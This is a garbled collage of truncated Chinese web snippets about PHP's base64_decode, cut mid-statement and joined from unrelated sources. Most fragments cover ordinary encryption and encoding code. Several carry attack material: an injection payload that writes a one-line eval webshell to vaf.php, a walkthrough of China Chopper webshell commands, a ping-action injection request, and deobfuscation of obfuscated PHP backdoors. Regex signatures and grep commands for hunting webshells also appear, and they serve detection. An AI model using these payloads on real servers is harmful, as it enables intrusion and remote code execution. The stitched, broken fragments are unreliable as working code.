对称解密的目标密文为 Base64_Decode(encryptedData)。对称解密秘钥 aeskey = Base64_Decode(session_key), aeskey 是16字节。...对称解密算法初始向量 为Base64_Decode(iv),其中iv由数据接口返回。 ? 下面的例子我已经封装在laravel5.8,原生的demo可见文档下载处。...= 24) { return ErrorCode::$IllegalAesKey; } $aesKey=base64_decode($this->sessionKey); if (strlen...= 24) { return ErrorCode::$IllegalIv; } $aesIV=base64_decode($iv); $aesCipher=base64_decode($encryptedData
在使用标准库的base64 decode时会出现非法字符的错误 , 下面这个函数是我测试可以正常解密的
>'.base64_decode($strtr(substr($AMqYfN,52*2),substr($AMqYfN,52,52),substr($AMqYfN,0,52)))); ?...>'.base64_decode(strtr(substr($AMqYfN,52*2),substr($AMqYfN,52,52),substr($AMqYfN,0,52))))); ?...'; base64_decode 紧接着我们再对上面的内容中的变量进行替换得到如下的结果: '.base64_decode(strtr(substr($xtKYQa,52*2),substr($xtKYQa,52,52),substr($xtKYQa,0,52)))); ?...>'.base64_decode(strtr(substr($xtKYQa,52*2),substr($xtKYQa,52,52),substr($xtKYQa,0,52))))); ?
_tn={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7...Content-Type: application/x-www-form-urlencoded action=start_ping&httoken={{trimprefix(base64..._decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button
phpinfo()等其他函数:module/action/param1/${@phpinfo()} 我们可以直接利用fputs和fopen函数直接写木马出来了,构造语句: fputs(fopen(base64..._decode(“dmFmLnBocA==”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtzdW5ueWdpcmxdKTs/Pg==”)) base64_decode...(“dmFmLnBocA==”)解码后是 vaf.php base64_decode(“PD9ldmFsKCRfUE9TVFtzdW5ueWdpcmxdKTs/Pg==”)解码后是 <?
首先它传入了第一个参数是 -7,内容是base64,解码后可得 @eval (base64_decode($_POST[z0])); 众所周知,在php中,eval函数,会将括号内的字符串,当作php语句来执行...,内容为 @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64..._decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr..._decode($_POST["z1"]);$s=base64_decode($_POST["z2"]); 它又套了两个参数z1和z2,需要再次post传输进去 $d=dirname($_SERVER[...$L;@closedir($F);};echo("|<-");die(); 首先还是老套路通过 D=base64_decode(_POST["z1"]);来传入一个路径,该路径为你在菜刀中双击选择的路径
{ if($decrypt){ $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), base64...ord($mdKey[$k++]); while ($j<0) $j+=64; $tmp .= $chars[$j]; } return base64...$tmp)); } //解密函数 function unlock_url($txt,$key='str'){ $txt = base64_decode(urldecode($txt...base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ?...base64_decode($string):substr(md5($string.$key),0,8).
password'.base64_decode('Ig==').'%5D'.base64_decode('KQ==').';?'....password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'....password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'....password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'....password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.
load_file'=>'select(\s+)(.*)load_file', '加密后门特征->eval(gzinflate('=>'eval\(gzinflate\(', '加密后门特征->eval(base64..._decode('=>'eval\(base64_decode\(', '加密后门特征->eval(gzuncompress('=>'eval\(gzuncompress\(', '加密后门特征->..._decode('=>'gzuncompress\(base64_decode\(', '加密后门特征->base64_decode(gzuncompress('=>'base64_decode\(gzuncompress...string soname 危险MYSQL代码->into outfile 危险MYSQL代码->load_file 加密后门特征->eval(gzinflate( 加密后门特征->eval(base64..._decode( 加密后门特征->eval(gzuncompress( 加密后门特征->gzuncompress(base64_decode( 加密后门特征->base64_decode(gzuncompress
data,$key){ $_data = explode('_',$data,2); if(count($_data)<2){ return false; } $data = base64...function encrypt ($value) { $td = mcrypt_module_open(MCRYPT_3DES, '', MCRYPT_MODE_CBC, ''); $iv = base64...function decrypt ($value) { $td = mcrypt_module_open(MCRYPT_3DES, '', MCRYPT_MODE_CBC, ''); $iv = base64..._decode($this->iv); $key = base64_decode($this->key); mcrypt_generic_init($td, $key, $iv); $ret =...trim(mdecrypt_generic($td, base64_decode($value))); $ret = $this->UnPaddingPKCS7($ret); mcrypt_generic_deinit
对称解密的目标密文为 Base64_Decode(encryptedData)。 对称解密秘钥 aeskey = Base64_Decode(session_key), aeskey 是16字节。...对称解密算法初始向量 为Base64_Decode(iv),其中iv由数据接口返回。 官方文档提供了一些示例,但是没有C#的,不过没关系,此算法 .NET Core BCL包含了的,使用非常简单。
在PHP中我们可以直接使用PHP自带的函数 base64_encode() 和 base64_decode() 进行加密和解密,废话不说了,我们直接进入正题: 例子 1. base64_encode()...示例 [cc lang="php"] [/cc] 此示例将显示:VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw== 例子 2. base64_decode() 示例 [cc
于是我后退一层 echo base64_decode 发现是这样的 ? 所以肯定多层加密。这个是浏览器的编码原因所导致。...然后加个if语句用strpos函数判断是否还会出现”eval(gzinflate(base64_decode if”这段字符,根据strpos的特性,如果存在就返回查询字符串在目标字符串的位置,没有的话就返回...字符串变量不会被显示到浏览器,缓存区的东西都在$primary这个变量里面 if (strpos($primary, 'eval(gzinflate(base64_decode') ==...而且人家还有两种思路,第二种code如下: $a = file_get_contents("加密.php"); //含有eval语句的文本文件 //将有eval(gzinflate(base64_decode...的加密文件只留eval(gzinflate(base64_decode('...')
php $a = $_GET['a']; $b = $_GET['b']; $c = base64_decode($a).base64_decode($b); $c = $_REQUEST
.= substr('====', $mod4); return unserialize(base64_decode($data)); } 方法三: /** 加密 @param [type] $code...public static function decrypt($code) { return urldecode(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5("key"), base64...isset($strArr[$key]) && $strArr[$key][1] === $value && $strArr$key] = $strArr[$key; return base64
\n"; $encrypted = openssl_encrypt($data, 'aes-256-cbc', base64_decode($key), OPENSSL_RAW_DATA, base64...\n"; $encrypted = base64_decode('To3QFfvGJNm84KbKG1PLzA=='); $decrypted = openssl_decrypt($encrypted,...'aes-256-cbc', base64_decode($key), OPENSSL_RAW_DATA, base64_decode($iv)); echo '解密: '....\n"; $encrypted = base64_decode('nMD7Yrx37U5AZRpXukingESUNYiSUHWThekrmRA0oD0='); openssl_private_decrypt
Base64.cpp 放到项目中,在需要引用的类或者文件中添加 #include "base64.h" 即可引用它的两个相关API函数,分别表示base64编码与解码: base64_encode base64...< encoded << std::endl; 读入的灰度图像为 转为对应的base64编码为: 对应的字符串基于base64解码,重新构建为Mat对象,代码如下: string dec_jpg = base64...uchar> data(dec_jpg.begin(), dec_jpg.end()); cv::Mat dst = cv::imdecode(cv::Mat(data), 1); cv::imshow("base64
代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 3....-name “*.php” | xargs grep “eval(_POST[” 找出/data/web/website/ 里面源码包含eval(_POST[的php文件 四 例如 注入漏洞eval(base64...文件不是很多的情况下 一句话查找PHP木马 # find ./ -name “*.php” |xargs egrep “phpspy|c99sh|milw0rm|eval(gunerpress|eval(base64...[^a-z]eval( 1 2 3 4 # find ./ -name “*.php” |xargs egrep “phpspy|c99sh|milw0rm|eval(gunerpress|eval(base64..._decode|eval(base64_decode|spider_bc|gzinflate)” | awk -F: ‘{print $1}’ | sort | uniq 查找最近一天被修改的PHP文件
$encryptData */ /*function decrypt($encryptData){ // if (openssl_public_decrypt(base64..._decode($encryptData), $decryptData, $this->rsaPublicKey)) { if (openssl_private_decrypt(base64...} }*/ function decrypt($encryptData){ $crypto = ''; foreach (str_split(base64
,$item); $item_results[4] = $Content_code; if(trim($item_results[3])=="base64"){ $item_results[5] = base64...); $item_results[5] = trim($Content_code); if(trim($item_results[3])=="base64"){ $item_results[6] = base64...=""){ $subject = base64_decode($subject_results[1]); $charset = "GB2312"; } elseif($subject_results[2...=""){ $subject = base64_decode($subject_results[2]); $charset = "GBK"; } elseif($subject_results[3]!...=""){ $subject = base64_decode($subject_results[3]); $charset = "UTF-8"; }else{ $subject = $content;
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